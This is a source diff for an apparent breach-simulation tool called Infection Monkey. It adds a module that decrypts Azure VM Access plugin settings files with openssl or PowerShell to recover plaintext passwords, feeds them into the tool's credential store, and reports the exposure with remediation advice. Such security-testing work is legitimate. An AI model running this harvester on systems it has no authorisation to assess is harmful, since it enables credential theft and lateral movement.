diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 9ec784594..e7b1999d5 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -272,5 +272,7 @@ class Configuration(object): mimikatz_dll_name = "mk.dll" + extract_azure_creds = True + WormConfiguration = Configuration() diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 13fa33492..84f08e865 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -15,6 +15,7 @@ "current_server": "41.50.73.31:5000", "alive": true, "collect_system_info": true, + "extract_azure_creds": true, "depth": 2, "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", diff --git a/infection_monkey/system_info/__init__.py b/infection_monkey/system_info/__init__.py index 126854b8e..667ff9890 100644 --- a/infection_monkey/system_info/__init__.py +++ b/infection_monkey/system_info/__init__.py @@ -6,6 +6,7 @@ import psutil from enum import IntEnum from network.info import get_host_subnets +from azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -104,3 +105,29 @@ class InfoCollector(object): """ LOG.debug("Reading subnets") self.info['network_info'] = {'networks': get_host_subnets()} + + def get_azure_info(self): + """ + Adds credentials possibly stolen from an Azure VM instance (if we're on one) + Updates the credentials structure, creating it if neccesary (compat with mimikatz) + :return: None. Updates class information + """ + from config import WormConfiguration + if not WormConfiguration.extract_azure_creds: + return + LOG.debug("Harvesting creds if on an Azure machine") + azure_collector = AzureCollector() + if 'credentials' not in self.info: + self.info["credentials"] = {} + azure_creds = azure_collector.extract_stored_credentials() + for cred in azure_creds: + username = cred[0] + password = cred[1] + if username not in self.info["credentials"]: + self.info["credentials"][username] = {} + # we might be losing passwords in case of multiple reset attempts on same username + # or in case another collector already filled in a password for this user + self.info["credentials"][username]['password'] = password + if len(azure_creds) != 0: + self.info["Azure"] = {} + self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds] diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py new file mode 100644 index 000000000..ad7db0307 --- /dev/null +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -0,0 +1,104 @@ +import sys +import logging +import os.path +import json +import glob +import subprocess + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) + + +class AzureCollector(object): + """ + Extract credentials possibly saved on Azure VM instances by the VM Access plugin + """ + + def __init__(self): + if sys.platform.startswith("win"): + self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + self.extractor = AzureCollector.get_pass_windows + else: + self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" + self.extractor = AzureCollector.get_pass_linux + self.file_list = glob.iglob(os.path.join(self.path, "*.settings")) + + def extract_stored_credentials(self): + """ + Returns a list of username/password pairs saved under configuration files + :return: List of (user/pass), possibly empty + """ + results = [self.extractor(filepath) for filepath in self.file_list] + results = [x for x in results if x] + LOG.info("Found %d Azure VM access configuration file", len(results)) + return results + + @staticmethod + def get_pass_linux(filepath): + """ + Extract passwords from Linux azure VM Access files + :return: Username, password + """ + linux_cert_store = "/var/lib/waagent/" + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint'] + base64_command = """openssl base64 -d -a""" + priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) + b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) + b64_result = b64_proc.communicate(input=protected_data + "\n")[0] + decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path + decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) + decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] + decrypt_data = json.loads(decrypt_raw) + return decrypt_data['username'], decrypt_data['password'] + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None + + @staticmethod + def get_pass_windows(filepath): + """ + Extract passwords from Windows azure VM Access files + :return: Username,password + """ + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName'] + # we're going to do as much of this in PS as we can. + ps_block = ";\n".join([ + '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', + '$base64 = "%s"' % protected_data, + "$content = [Convert]::FromBase64String($base64)", + "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", + "$env.Decode($content)", + "$env.Decrypt()", + "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", + "Write-Host $utf8content" # we want to simplify parsing + ]) + ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) + ps_out = ps_proc.communicate(ps_block)[0] + # this is disgusting but the alternative is writing the file to disk... + password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] + password = json.loads(password_raw)["Password"] + return username, password + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index 906173421..ccdd7cb30 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() + self.get_azure_info() return self.info diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 72e189f81..610c4e8e3 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() + self.get_azure_info() mimikatz_collector = MimikatzCollector() - self.info["credentials"] = mimikatz_collector.get_logon_info() + mimikatz_info = mimikatz_collector.get_logon_info() + self.info["credentials"].update(mimikatz_info) return self.info diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index 997e2a72e..80dd14604 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) return monkey_json return {} @@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource): # if new monkey telem, change config according to "new monkeys" config. db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) if not db_monkey: - new_config = ConfigService.get_flat_config(False, True) + # we pull it encrypted because we then decrypt it for the monkey in get + new_config = ConfigService.get_flat_config(False, False) monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'].update(new_config) else: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index bd6b79ca6..1b4756ea9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,4 +1,5 @@ import copy +import collections import functools from jsonschema import Draft4Validator, validators @@ -521,8 +522,8 @@ SCHEMA = { } } }, - "mimikatz": { - "title": "Mimikatz", + "systemInfo": { + "title": "System collection", "type": "object", "properties": { "mimikatz_dll_name": { @@ -531,6 +532,13 @@ SCHEMA = { "default": "mk.dll", "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" + }, + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" } } } @@ -978,6 +986,19 @@ class ConfigService: def encrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, False) + @staticmethod + def decrypt_flat_config(flat_config): + """ + Same as decrypt_config but for a flat configuration + """ + keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] + for key in keys: + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + else: + flat_config[key] = encryptor.dec(flat_config[key]) + return flat_config + @staticmethod def _encrypt_or_decrypt_config(config, is_decrypt=False): for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS: diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index cbef9d973..72bc74806 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -33,6 +33,7 @@ class ReportService: SAMBACRY = 3 SHELLSHOCK = 4 CONFICKER = 5 + AZURE = 6 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -71,6 +72,19 @@ class ReportService: } for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})] + @staticmethod + def get_azure_issues(): + creds = ReportService.get_azure_creds() + machines = set([instance['origin'] for instance in creds]) + + return [ + { + 'type': 'azure_password', + 'machine': machine, + 'users': set([instance['username'] for instance in creds if instance['origin'] == machine]) + } + for machine in machines] + @staticmethod def get_scanned(): nodes = \ @@ -135,6 +149,26 @@ class ReportService: ) return creds + @staticmethod + def get_azure_creds(): + """ + Recover all credentials marked as being from an Azure machine + :return: List of credentials. + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}}, + {'data.Azure': 1, 'monkey_guid': 1} + ): + azure_users = telem['data']['Azure']['usernames'] + if len(azure_users) == 0: + continue + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', + 'origin': origin} for user in azure_users] + creds.extend(azure_leaked_users) + return creds + @staticmethod def process_general_exploit(exploit): ip_addr = exploit['data']['machine']['ip_addr'] @@ -277,7 +311,7 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -315,7 +349,8 @@ class ReportService: @staticmethod def get_config_ips(): - if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange': + if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, + True) != 'FixedRange': return [] return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True) @@ -325,7 +360,7 @@ class ReportService: @staticmethod def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * 6 + issues_byte_array = [False] * len(ReportService.ISSUES_DICT) for machine in issues: for issue in issues[machine]: @@ -337,6 +372,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True + elif issue['type'] == 'azure_password': + issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True @@ -397,7 +434,8 @@ class ReportService: { 'scanned': ReportService.get_scanned(), 'exploited': ReportService.get_exploited(), - 'stolen_creds': ReportService.get_stolen_creds() + 'stolen_creds': ReportService.get_stolen_creds(), + 'azure_passwords': ReportService.get_azure_creds(), }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 56c2c3881..bec4f3625 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent { ELASTIC: 2, SAMBACRY: 3, SHELLSHOCK: 4, - CONFICKER: 5 + CONFICKER: 5, + AZURE: 6 }; Warning = @@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
  • Machines are accessible using passwords supplied by the user during the Monkey’s configuration.
    • : null} + {this.state.report.overview.issues[this.Issue.AZURE] ? +
  • Azure machines expose plaintext passwords. (More info)
    • : null} + : @@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent { ); } + generateAzureIssue(issue) { + return ( +
  • + Delete VM Access plugin configuration files. + + Credentials could be stolen from {issue.machine} for the following users {issue.users}. Read more about the security issue and remediation here. + +
    • + ); + } + generateConfickerIssue(issue) { return (
  • @@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent { ); } + + generateIssue = (issue) => { let data; switch (issue.type) { @@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent { case 'tunnel': data = this.generateTunnelIssue(issue); break; + case 'azure_password': + data = this.generateAzureIssue(issue); + break; } return data; };